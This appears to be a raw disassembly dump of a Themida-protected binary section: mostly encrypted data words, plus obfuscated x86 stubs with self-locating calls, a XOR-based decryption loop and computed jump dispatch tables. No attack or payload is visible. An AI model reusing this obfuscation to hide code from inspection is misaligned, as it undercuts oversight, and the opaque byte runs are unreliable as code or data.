4C08557Bh, 9BF03F6Eh dd 82A8064Eh, 0A0822032h, 0BB9D3D0Bh, 0B784222Ah, 0C1E96598h dd 5FB216B7h, 1D6CBD03h, 1372C38Fh, 52DFE372h, 2B7EA402h dd 9B2E1021h, 8EEF59EEh, 0DA150631h, 31F8A1FBh, 0C41638A7h dd 0EA28BB8Ah, 7E10A151h, 9E98930Fh, 58395C10h, 7F03587Ah dd 435C5E3h, 70E5C2F1h, 109DD116h, 0FFDFBEDFh, 73C286D9h dd 51014Fh, 7929A2CCh, 5E4462E6h, 193ABBCBh, 8FF643C6h dd 0AF2E5FEEh, 28109E4Fh, 446611AAh, 34B9BF4h, 32025A62h dd 0D4A34171h, 37CDCDEBh, 1CA4553Ah, 7305h, 0D1F9D600h dd 449ECF83h, 0D109E3Dh, 89D874C5h, 13426908h, 0C159F1CBh dd 0C2F9636Dh, 6CFD4BE0h, 20B1A32Dh, 70EC1D2Ch, 0E5109DB5h dd 0E8A8D465h, 8AA341EAh, 198C03A5h, 13DD0FF9h, 18Ch, 6DBDB200h dd 0AEBF891Eh, 568AB6A9h, 0DDBC2212h, 19A9ADBCh, 888146Fh dd 0C7EC5AE6h, 0A0A9C867h, 0F64726D3h, 7CCD83D4h, 6012A7EBh dd 2280CEh, 0A13F9FADh, 55E470BDh, 0DC6DE171h, 731F9C36h dd 6A506EE6h, 2B1DB2D7h, 3D9AFB1Ah, 0B56FEB1Ah, 0D538109Dh dd 0E67A5C0Bh, 0F5684764h, 109DB499h, 4A992362h, 0E2133423h dd 109DB568h, 0B5992931h, 0C86F7D4h, 0D5109DB5h, 6DDE28B0h dd 41E8613Fh, 4FC9A3h, 0BD6D0000h, 0F9902170h, 0B584E569h dd 22243554h, 3B1FBC8Eh, 7594A5ADh, 276BFC6Bh, 351E092h dd 10A082A3h, 9587A42h, 87D8FA4Bh, 0CA9BB506h, 521B2A4Bh dd 4B1943B8h, 0F3A341E8h, 2Dh, 0E470BD47h, 6ADE7155h, 61DAF8DBh dd 923024B1h, 4DE0C238h, 53E3F5FFh, 0BA1B6AFBh, 33109DB4h dd 3AFA2297h, 0A2A341EAh, 1, 0CADDC2B8h, 0A9AB529Bh, 15D902Fh dd 0CA109DD8h, 0FD4F814Bh, 87DAFC4Dh, 2E6074C5h, 0F753E59Dh dd 221EEFD8h, 0A3013FF2h, 0E6FB3B19h, 32403A0h, 9DD178D2h dd 3117AC10h, 0AAD9E322h, 168ECDBBh, 3618296Ch, 250AA9A3h dd 520A0912h, 1E3C84C4h, 4A3A93Ch, 3E58B223h, 0FC210A8Bh dd 880475F4h, 0C10A8B3Dh, 0B08F38D1h, 4514368Ah, 3E3995C4h dd 83020A8Bh, 0C0C61739h, 361B52E9h, 0E9C9A817h, 0C61376C7h dd 7C5EEF8Eh, 0F0D263E9h, 7B5FEE5Ch, 0EBD061E9h, 6E29A8DFh dd 2E607499h, 0C842A89Dh, 582E7F33h, 946D79ABh, 84234240h dd 9A6D6E9Bh, 767E734Ch, 470CCC68h, 0FAB45AACh, 8A000000h dd 0B205BEA3h, 0A5D8F796h, 168EBC40h, 0A1A5B4D9h, 0BB9F3C10h dd 0B9972129h, 0A9064697h, 9764817Eh, 0C60E04C4h, 0BA922327h dd 0D465E3ABh, 0E1C18B1Eh, 0AD728B49h, 57335Ah, 0A3070000h dd 74E9C6BCh, 6F624BFAh, 1B6EBF03h, 80E180C8h, 0B2230423h dd 909DB558h, 118DFC21h, 0DA909DB5h, 43B231BBh, 909DB4C7h dd 53E26AFBh, 0E372E26Fh, 291CAD1Bh, 0D8A01953h, 0EED4F38Fh dd 2465F45Eh, 0B44EBF9Ch, 2DEF624Bh, 4E96B205h, 835E7CA1h dd 69h, 0C8BEA3DFh, 3D99CCEBh, 6109DB5h, 0BC942387h, 77646CADh dd 8EA0FB06h, 90A1E416h, 0D96E1BAEh, 8AB00E6Fh, 0B5441537h dd 0A8AA052h, 0D88AFF93h, 0A7E7C785h, 9EB201C2h, 902F4ECFh dd 74A46E5Dh, 79ECCB10h, 470921Dh, 6581E1E6h, 4F3CA8Fh dd 8F0E5B65h, 3499CBEh, 57F41E32h, 912E5891h, 5A236F5Ch dd 99395C0Ah, 0C8BEA33Fh, 0BA8D7AEBh, 1B7A1687h, 97B5084Ah dd 91C31238h, 96270947h, 882E19B6h, 1F2F7F2Dh, 0E8CF4Eh dd 6FFEC6E0h, 0E624441Eh, 0F0890914h, 7E5DEF42h, 0F6470D5Ch dd 0ADA53397h, 32183523h, 2628B0A2h, 0A6A8B993h, 362A3B15h dd 42933FBCh, 3386AC0Ah, 140D4819h, 0B1000000h, 0FD4BE0C2h dd 6FA32D6Ch, 7ED80D2Ah, 47109DB5h, 0BD64FEC6h, 7254E571h dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81595451h, 4C1h, 4E98300h dd 5C240C87h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68241C89h dd 23h, 52243C89h, 171263BAh, 81D2F700h, 65726AC2h, 0DEB85055h dd 2D7EFD6Dh, 227F7F61h, 7A135425h, 2E0C131h, 4002E8C1h dd 95CEF42Dh, 58C23194h, 0FDF2814Ah, 8928B65Eh, 8B545AD3h dd 0C483243Ch, 8685004h, 58000000h, 1889F801h, 243C8B58h dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835B2434h dd 1E904C4h, 0A2FFF96Fh, 730097A8h, 7783EDB6h db 1, 47h ; --------------------------------------------------------------------------- loc_5ED536: ; CODE XREF: Themida_:005ED060j mov eax, 61A11CAh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 38h dd 6111AA99h, 0DF08F880h, 0B71B3D63h, 251AA5C1h, 0BD19A9DBh dd 0DE111335h, 701FB8Eh, 0FE478414h, 552A9810h, 0F1707026h dd 7A61CAE9h, 6A462616h, 9B17F00Dh, 2FE7ACh, 5778112Ah dd 83256F6Eh, 0A15C005Dh, 1946F443h, 20C9765h, 4109AFE6h dd 0CD3EA6BEh, 882FB991h, 3D50BE08h, 0F14146ECh, 0D20E9621h dd 9853CCBEh, 4132BDF7h, 8B187740h, 1E7EF7D7h, 581E06E4h dd 8D435F8Bh, 1A13628Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 817369D3h, 0C85424CBh dd 89D58A46h, 131BBD8Dh, 0C1B9BF06h, 3CB015CBh, 18DD85C7h dd 5AAC0613h, 0BD890000h, 6131E55h, 305585C7h, 613h, 9D890000h dd 61305B5h, 2331B5FFh, 0FDB00613h, 1D8995FFh, 8B660613h dd 0FF006AF1h, 130DA995h, 0EBC08B06h, 7951407Eh, 97E0B5F8h dd 6220F408h, 905B895Ch, 0F6B98F1Ch, 28029682h, 0E46D4825h dd 93F72E69h, 6597B388h, 0C6439E66h, 0A2610537h, 8C6E94BBh dd 3AF40AC6h, 48F13338h, 0A4B75839h, 83402F90h, 3AA5E898h dd 0ACC090EFh, 0E2E6E384h, 0EA585681h, 0D8C1B440h, 0FB724F1Eh dd 0C2B7B6EDh, 0C5D1F2F4h, 0EC9BD655h, 21B27C78h, 0D9ED04E8h dd 0C6393E89h, 0B58EDDDh, 0F18BF256h, 7184CA50h, 8DC93409h dd 1A14548Dh, 7DCE8106h, 0F21C50Fh, 68Fh, 8DB58B00h, 8906130Ah dd 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 85C7C43Ch, 61318DDh, 6C20h, 5585C7F8h dd 61330h, 66000000h, 0B5FFF38Bh, 6132831h, 2BED8D89h dd 95FF0613h, 6131D89h, 6AF18B66h, 0A995FF00h, 8B06130Dh dd 1B2FEBC0h, 8A922084h, 8ECECD57h, 0C0AD5DF1h, 619A42E3h dd 22069AA9h, 0AD66B2ABh, 1795F45Bh, 0B222656h, 0FBE2D070h dd 0A20D7DFDh, 3B5748EFh, 8D8DE7DAh, 61A154Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 60C35343h, 288822A5h dd 0FA8B6660h, 13E9h, 644A4E00h, 0C1A087E2h, 3B6910Ch dd 0FFA06581h, 3A2D71E0h, 0BD8D8961h, 6A06131Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 32B8C357h, 914A1D17h, 0A8BC0BB8h, 0DD85C777h, 5C061318h dd 8100006Bh, 97E498CEh, 5585C766h, 61330h, 81000000h dd 23926BF0h, 5DB5FF6Ch, 0FF061312h, 131D8995h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 895278FCh, 13351D9Dh, 6A5F06h, 0DA995FFh, 0C08B0613h dd 75FF08EBh, 867D4C74h, 7E8FCB1h, 0B9000000h, 5D62D3h dd 0E7812AF9h, 78053F0Ah, 81FE8B5Eh, 752FC6h, 0BBCF8B00h dd 0 ; --------------------------------------------------------------------------- sub ecx, 28ADCA33h loc_5ED84E: ; CODE XREF: Themida_:005ED894j mov edx, [esi+ebx] and ch, 26h add edx, 24356C8Ah mov [ebp+6130A0Dh], edi xor edx, 447735A2h add [ebp+61309DDh], ecx xor edx, 69BD4996h movsx ecx, dx push edx mov [ebp+6130AF1h], esi pop dword ptr [esi+ebx] movzx ecx, cx mov eax, [ebp+6130B61h] sub ebx, 4 and ah, 79h cmp ebx, 0FFFF8B3Ch jnz loc_5ED84E lea ecx, [ebp+61A16D3h] push 0 push ecx call sub_5ED8AB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED8AB proc near ; CODE XREF: Themida_:005ED8A3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5ED8AB endp ; --------------------------------------------------------------------------- db 0ACh dd 0B70FA3D8h, 0BD8D89C6h, 6A06131Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5B4FC356h dd 8D89C0AEh, 6131CD9h, 18DD85C7h, 71CC0613h, 858B0000h dd 613176Dh, 305585C7h, 613h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0BBA041C3h dd 0AEB28392h, 0BD896039h, 61308C5h, 0A419D89h, 89610613h dd 1314E19Dh, 9B5FF06h, 6A061323h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D15EC357h dd 57B10B9h, 6D8F10EDh, 63EEEB81h, 95FF18F6h, 6131D89h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 9DC35646h dd 1EC58D29h, 6A0613h, 0DA995FFh, 0C08B0613h, 56273FEBh dd 81C7AAB6h, 0B95A5241h, 0AD5B68Bh, 8F7BA2A1h, 97073D2Eh dd 6A53A0A9h, 1A98357Ah, 9A5FECD0h, 84BB3DCh, 24AFDDA8h dd 6539EF19h, 4B1770A8h, 954C8C3Ch, 0DDD9593Fh, 1E8FEB96h dd 0E185C6F4h, 56061311h, 0C530DF68h, 0E9B5FFA9h, 8D06131Eh dd 167C3385h, 8DD0FF06h, 131A398Dh, 406A5106h, 0D55B5FFh dd 0B5FF0613h, 6130B5Dh, 0B5FFD0FFh, 6130D55h, 0B5DB5FFh dd 0CE80613h, 1E000000h, 0A81717DCh, 0A0572732h, 5AC7DFF1h dd 4EA835Ah, 2242CC1h, 22424C1h, 0F7241403h, 68241Ch, 5F000000h dd 813A0C8Bh, 0A0EA1CE9h, 4CF1817Fh, 81103741h, 0B9805C1h dd 48F5168h, 0F6EF813Ah, 812D3C26h, 3C26F2C7h, 243C3B2Dh dd 14850Fh, 19E90000h, 7E000000h, 888B8BFCh, 0BE41B53Bh dd 0CDC6D70h, 0B9E96922h, 19FFFFFFh, 62714FF3h, 2A2D9D8Dh dd 38B0613h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 15FE9C9h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5EDAB2 proc near ; CODE XREF: sub_406890+12Cp ; sub_409BC0+1Dp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 61A17F1h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5EDC08 mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 1E330B14h xor eax, ebx sub eax, 4 mov [ebp+6131BBDh], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0B81EC512h xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+61318DDh], eax mov eax, [edx+14h] mov [ebp+6133055h], eax mov eax, [edx+18h] push ebx jmp loc_5EDBCC ; --------------------------------------------------------------------------- push dword ptr [ebp+61313D1h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6131A95h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6132831h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+613005Dh] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+613302Dh] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+61331EDh] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+613125Dh] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6131B65h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6131139h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6130ED5h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6130B01h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6132101h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6132CA1h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+61320B9h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6132309h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6132331h] jmp loc_5EDBE0 ; --------------------------------------------------------------------------- loc_5EDBCC: ; CODE XREF: sub_5EDAB2+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+61A1852h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5EDBE0: ; CODE XREF: sub_5EDAB2+70j ; sub_5EDAB2+7Bj ... call dword ptr [ebp+6131D89h] pop ebx loc_5EDBE7: ; CODE XREF: sub_5EDAB2+14Ej mov eax, [ebp+6131BBDh] cmp [eax+4], ebx jnz loc_5EDC05 push ebx push 1 call dword ptr [ebp+6130DA9h] pop ebx jmp loc_5EDBE7 ; --------------------------------------------------------------------------- loc_5EDC05: ; CODE XREF: sub_5EDAB2+13Ej popa pop edx retn ; --------------------------------------------------------------------------- loc_5EDC08: ; CODE XREF: sub_5EDAB2+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5EDAB2 endp ; --------------------------------------------------------------------------- db 8Bh, 2 dup(85h) dd 8D061311h, 1A19408Dh, 1418906h, 0CE8C38Bh, 31000000h dd 4A6A4362h, 0B4F56CF8h, 812FA464h, 66EE8AEEh, 850F5A3Ch dd 2, 0C281D98Bh, 736Eh, 1C98B9h, 7E800h, 26E0000h, 0DC47DD90h dd 0EE8EEh, 69730000h, 922452D3h, 38EEEA06h, 4882A807h dd 12E9h, 212B4D00h, 0D76D4DA7h, 7CE4EA94h, 0BA0BFCFEh dd 5F3A4243h, 8B028B5Fh, 93C081DEh, 66519778h, 0C081D88Bh dd 49029B89h, 1420C081h, 51601C5Ch, 58D0B70Fh, 14E9h, 6FE9D500h dd 0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h, 8B5061DDh dd 81028FF0h, 3C1749EAh, 14E866h, 0F18C0000h, 0D4F58C13h dd 5EA12E2Bh, 0D2C0368Dh, 0F75879F1h, 0DA8AD58Dh, 45C2815Bh dd 0F663C17h, 681h, 0AEDE8100h, 814057D1h, 1E9h, 1A850F00h dd 0BB000000h, 48B125D5h, 2CE9h, 0F4D1F300h, 9F10DD5Bh dd 424665B7h, 4761105Fh, 0BE950h, 7B800000h, 0B31F8315h dd 4576401Ch, 0FF53E982h, 0EC67FFFFh, 9D39F7A4h, 0D6E9DDh dd 72980000h, 9CD744D7h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 7 dup(0) ; --------------------------------------------------------------------------- jmp loc_5EF317 ; --------------------------------------------------------------------------- push 61A1CF5h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A1DE1h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A1EE5h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A2004h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A20A0h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A215Eh jmp loc_58442C ; --------------------------------------------------------------------------- push 61A221Fh jmp loc_58442C ; --------------------------------------------------------------------------- push 61A22D2h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A2376h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A24CFh jmp loc_58442C ; --------------------------------------------------------------------------- push 61A25A5h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A26D4h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A27DAh jmp loc_58442C ; --------------------------------------------------------------------------- push 61A295Dh jmp loc_58442C ; --------------------------------------------------------------------------- push 61A2A99h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A2CC1h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A2DB1h jmp loc_58442C ; --------------------------------------------------------------------------- db 0B6h db 28h ; ( db 2Eh ; . db 90h ; ; --------------------------------------------------------------------------- loc_5EDEC7: ; CODE XREF: Themida_:005EDED9j stosb sbb [esi], dh cwde mov dl, 1Eh sub al, 8Eh lodsb sbb esi, ds:2E26B395h nop popf xchg eax, edx jns short loc_5EDEC7 push 7AD8684Ah pop esp ; --------------------------------------------------------------------------- db 76h, 0E1h, 67h dd 7CD06147h, 1B4A955Eh, 16B7CFBFh, 0BD2D1188h, 6D51E06Ch dd 565270DCh, 295C7B0Bh, 168EA2CCh, 0D0213055h, 0A8A9F72h dd 0A0CC3DC9h, 5AAD0CD0h, 3C78h, 0E0C2DE00h, 33A2014Fh dd 109DB4D7h, 47737DA0h, 16476422h, 168E9837h, 45B48508h dd 0A8A87C5h, 0ED203F1Ch, 0A8A8871h, 7711DB3Ah, 0DF6D5502h dd 23F16973h, 8B5AAD39h, 0B5h, 0E06CBDAFh, 74E06D51h, 0FC50E1E5h dd 1B69FBDFh, 6C4F14C5h, 0BD0766BAh, 0F0992C2Eh, 2E8CED5Bh dd 9E9749BFh, 2C20B110h, 3319AC8Eh, 0C842B394h, 91109E95h dd 725C40Ch, 0D607A4E2h, 168F9BF3h, 8925133Ch, 153DBDDFh dd 0DFFF1ECBh, 0DFFC8ADFh, 7601ABAEh, 0A2018410h, 83233180h dd 1144109Dh, 79FD0B2Fh, 98B89554h, 0B2000012h, 0AE943224h dd 0AE94321Ch, 0B092301Ah, 0AF91311Fh, 0A1943222h, 84D05D8Eh dd 9EB40426h, 83C51A40h, 0A0ACFD23h, 0E7163902h, 16B7D16Bh dd 0C281DD34h, 0B51670E5h, 0BEDF109Dh, 0F9952436h, 0D7817883h dd 4C6A0BF3h, 5979D366h, 0C8BEA3FFh, 989B7AEBh, 0F6DC168Eh dd 86E3ED67h, 47C73607h, 9E0A8A89h, 0F36F9EC1h, 0BC0A8A88h dd 84F58F59h, 0AD3E9858h, 0B5405Ah, 0BD160000h, 0C18D1D6Ch dd 8F1F03A0h, 656FAEBFh, 0DF75C406h, 0B089FF8Eh, 60F1109Dh dd 59ECCEECh, 3D6562F3h, 0FC3A61EDh, 5C1A082Ch, 0A5BCF8C0h dd 0AE93C2E1h, 87168E6Bh, 517EA906h, 458CC7A1h, 6F508E56h dd 89118748h, 0A62E7CA8h, 98374F9Ah, 1D2C1EB2h, 76E7F4FCh dd 10742384h, 97BB187Dh, 85AD0A4Ah, 90CE1632h, 44391BAAh dd 79FB3B66h, 0AC95B077h, 9E000011h, 42684610h, 5A805EF0h dd 44664406h, 5B7D5DF3h, 3568460Eh, 104491FAh, 124090B2h dd 0F398EB4h, 143889AFh, 33A2ADB6h, 16B7D1D7h, 0BDD589A0h dd 0E3C7E470h, 2869F850h, 3D90B2A0h, 0BD11AF0Fh, 7251E06Ch dd 0B4A62055h, 6B6F109Dh, 0CC1475DDh, 7057378Ah, 5B14DE04h dd 900A7B29h, 59109DD7h, 0DA6BDF71h, 1BBBDABBh, 74E9A335h dd 109DD81Ah, 0FC4CDFE3h, 694D2C6Dh, 0BA1978DCh, 0FA474898h dd 0EB8A0B5Ah, 5D4582E1h, 63757FCBh, 725C7AD2h, 65214861h dd 0FD3E6946h, 0BBA313EDh, 0CB6A9923h, 0DC168EBAh, 56B756B9h dd 78E10489h, 47B61571h, 18F17DAAh, 6D118CB3h, 5553C6FBh dd 4B2A4B07h, 20A3BEFAh, 1372C391h, 0D3205572h, 0B012DB11h dd 151398Ah, 94890F9Ah, 0F0112041h, 0BD1A7BE8h, 0D924B59Ah dd 3B418BDCh, 3E0E9FB1h, 489BBFA0h, 8D03100h, 0A4D973C6h dd 7C5DA090h, 0A8431ECDh, 0A2000010h, 3E644214h, 5E4462ECh dd 2280CAh, 1F01A1AFh, 0B1E4C292h, 94C00D7Eh, 8EC41436h dd 93B50A30h, 90BC0D33h, 0B7262932h, 16B7D35Bh, 0BD51ED24h dd 5351E06Ch, 745B780Eh, 6C24A1ECh, 75626A49h, 8F68F900h dd 1BBBDA16h, 0E3C0C61Bh, 7C526772h, 3C0D9010h, 78524DCDh dd 0D16AA404h, 9B77EDABh, 3C5550h, 0A3E90000h, 0CCEBC8BEh dd 814287E3h, 0B903B9CFh, 8F8E574Ah, 2E8D1016h, 3191B70Ch dd 8AF846C2h, 212B7E0Ah, 3C0C9F81h, 0BC0C2E2Dh, 10134E96h dd 2C000010h, 0F880DA0Bh, 0C4490A8Ah, 0E0C262FCh, 0CAF6FE4Ch dd 95C8E79Fh, 1687B056h, 85017453h, 4E0A8399h, 256805CFh dd 3B11A486h, 2824B59Bh, 0E81D3A19h, 0A83996Eh, 0B20ED637h dd 0CFF0CFB7h, 62F35BEBh, 0F5518423h, 0BE0A8398h, 10F6955Fh dd 0F1106D93h, 9A2B0FACh, 9B2E14B2h, 9B3012B1h, 737D9CADh dd 0D5B1B8F4h, 5E4A87F6h, 1F030A5Ah, 1170C191h, 99351AC7h dd 0E7546F79h, 687AEF8Eh, 9173DD7Bh, 0F89FFDAh, 75C10000h dd 4FDFC1E1h, 67F9DFFFh, 4EDDC3E3h, 2F7EA402h, 99968525h dd 4F6FE574h, 5777DB69h, 4C6ADE71h, 5979D366h, 0C41E4F90h dd 8D16B7D4h, 12702A14h, 53109DB5h, 4E70E06Fh, 308C54FEh dd 14368A39h, 0E5745675h, 578656Fh, 1687AE05h, 3218B7D6h dd 300DAD9Fh, 9A84DE0Fh, 0C84D0A83h, 0D17BCE00h, 8B3D2480h dd 839A005Ah, 4AC4390Ah, 130A839Ah, 0CB5D65F2h, 607F1E7Fh dd 748B242Dh, 23527510h, 47087A7h, 3B892D70h, 0FDC74617h dd 30382D70h, 4579F7A4h, 0EEDABA6h, 0D15D0000h, 0B3032585h dd 0C3153B9Bh, 0B2012787h, 0CB1A409Eh, 35FA2989h, 0EBCB89D8h dd 0FBDB77C5h, 0E8C682D5h, 0FDDD6FC2h, 207AEBF4h, 0E916B7D5h dd 6CBD8EB0h, 4EDFC3E0h, 5377F6FEh, 14FB4A02h, 19D70576h dd 0FBA341E6h, 0A7B76DD4h, 0AC340BAAh, 8F275h, 0E0C2C900h dd 0C9F5FF4Dh, 94C9E6A0h, 1687AEC1h, 0F4C9C5EAh, 86DC4C3Fh dd 4F6CB13Eh, 6A72DA6Bh, 9AF4456Dh, 8365EF6Bh, 3455B80Ah dd 2B21B496h, 3711A68Ch, 8EDDE726h, 164F6651h, 4CEC8EB5h dd 0A8850584h, 0C2A70A83h, 8F76E7C4h, 7010749Ah, 97A4FE6Fh dd 56D50470h, 0F1F6AE80h, 630283D0h, 0F76FC8EEh, 67620979h dd 0E2Fh, 2787CF1Bh, 3D9DB101h, 2181C91Bh, 2A0B0FFh, 0E3C39120h dd 0BF0E7FB0h, 0C5133595h, 0B80B2D8Dh, 0BD103290h, 3D222F8Fh dd 0B7D64EC8h, 60021716h, 51E06CBDh, 0E170DC6Dh, 87D5FD1Ah dd 0B71B7ACBh, 0F4152424h, 329A2ECh, 0A341E635h, 8369Dh dd 3E213E00h, 9DBD53CFh, 88F91C10h, 109DBD0Eh, 0B42EB6D7h dd 9DB51270h, 592D3410h, 0E5755D7Ah, 2FB9D869h, 87AF3DD0h dd 0B8177616h, 0FB4A3F92h, 0E8890859h, 76C5EDCAh, 6DC012DAh dd 3CD700DFh, 0CBEBE0CDh, 0E0D8381Dh, 83E2E1ECh, 0DBE8311Ch dd 0E4EC42DAh, 44422785h, 0D1624867h, 2F16757Fh, 10107470h dd 89A4D88Dh, 1AD179F7h, 0D6E3Fh, 0C88EDC00h, 0D876C8EAh dd 0C684D8FAh, 0DF71C2E8h, 0C88CD9FFh, 1774BBEAh, 62C8ACAh dd 1C3E9CB6h, 0FF2181C7h, 33409EAEh, 0D75DB92Ch, 0F32616B7h dd 0E06CBD4Fh, 0AADC6D51h, 8FF58B27h, 1B2A4BEFh, 3765D674h dd 0A3411779h, 0A5A5371Bh, 775041Bh, 0A35A0000h, 7AEBC8BEh dd 1687AEFEh, 52D8A0Bh, 173B98B4h, 99B687C7h, 8399EA64h dd 3352B30Ah, 3485ABA9h, 2B4A0655h, 9A6BEB1Ah, 83AC0A83h dd 0BAA31369h, 68D41C95h, 0BC164781h, 0ED0A833Bh, 0CDE3EF1Dh dd 0DF3E0DB8h, 0E5EC21BEh, 3610743Eh, 0BA8BC114h, 0B1D4915Bh dd 0F758AABCh, 2924C379h, 0CBBh, 0B313438Fh, 0B1113D8Dh dd 0AD0D3D8Fh, 0B6143C8Bh, 0AF0F4594h, 0B5AB37Ch, 0F9476949h dd 4577959h, 0F1446644h, 716E7B5Bh, 0B7D6A2FCh, 0C366B16h dd 51E06CBDh, 0E170DC6Dh, 31004CDDh, 607CB40Ah, 983A37A4h dd 0A6390846h, 9323CF6Ch, 0A6BAABBh, 23D465E5h, 69D09FFCh dd 8A52FA8Ch, 41F402D2h, 6ADAAA3h, 70900000h, 109DB515h dd 6F4C3A2Fh, 87AE5DFEh, 0D0052216h, 0A839A76h, 84CC1B3Fh dd 0F8EDBE5h, 15378AB0h, 0A4293B5h, 0A2E4FD3Bh, 9575D005h dd 0DF3E1074h, 0F79B8AAAh, 0FDD88F79h, 0C17h, 0FAFA733h dd 15B59929h, 9A9A133h, 1AB89827h, 0BABA938h, 67F61718h dd 5DEBCDEDh, 60F3D5F5h, 55E8CAE8h, 0C50AD7F7h, 0B7D83690h dd 0B8AAFF16h, 351E0C2h, 62EFD332h, 9A2263F2h, 466925B8h dd 9DB4BB17h, 50018410h, 109DB4F6h, 2E3F5EBFh, 0A2B3992Ch dd 2ADD6EDCh, 519BB908h, 409EAEFFh, 41EAD4A4h, 13B7CA3h dd 785F0000h, 3F5FEABDh, 0CC82D4E2h, 0C2B923ADh, 13424EE0h dd 109DB4B7h, 0ED7C1D80h, 9F3224ACh, 27BA9CADh, 87A88525h dd 9DB4FC56h, 7840C510h, 4261253Ch, 8EA2D613h, 2F3E5F16h dd 8A9F80DEh, 0A788D70Ah, 8A9EDC36h, 5860A50Ah, 0A16F9D2Eh dd 95AAD0Ch, 33h, 553688AAh, 97F64703h, 0A374EEF6h, 0CCEBC8BEh dd 3E85C2E3h, 34BC0422h, 8EF1F4D5h, 0F140C516h, 8AE20280h dd 9C2D590Ah, 0ACC7A070h, 0A0085Ah, 0BD2E0000h, 0DFC3E06Ch dd 6B6FFE4Eh, 0A1E071D9h, 6A69F8C0h, 2438EC45h, 747C615Eh dd 0B081D362h, 40113B8Eh, 2A1ABFEh, 71C08E20h, 5B8AC810h dd 109DCEF5h, 4360EC3Dh, 0B8124364h, 81109DB7h, 0B7F16D1Ch dd 5BBA109Dh, 1E434391h, 0A61A4B68h, 0A3168815h, 0D05D4562h dd 0B5042684h, 2D94EA9Fh, 26C5800Fh, 0ABE2Bh, 183E8C00h dd 84698BAh, 163488AAh, 0F4192B8h, 183C89AFh, 47A48BBAh dd 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh, 0D88D097Ch dd 435616B7h, 0E470BD1Fh, 0FB51E4C6h, 0E0C27DDBh, 97B90351h dd 13370646h, 0D2C8AC2h, 4CBh, 0C8BEA3B1h, 53E6CCEBh, 9F2968F9h dd 8EADB960h, 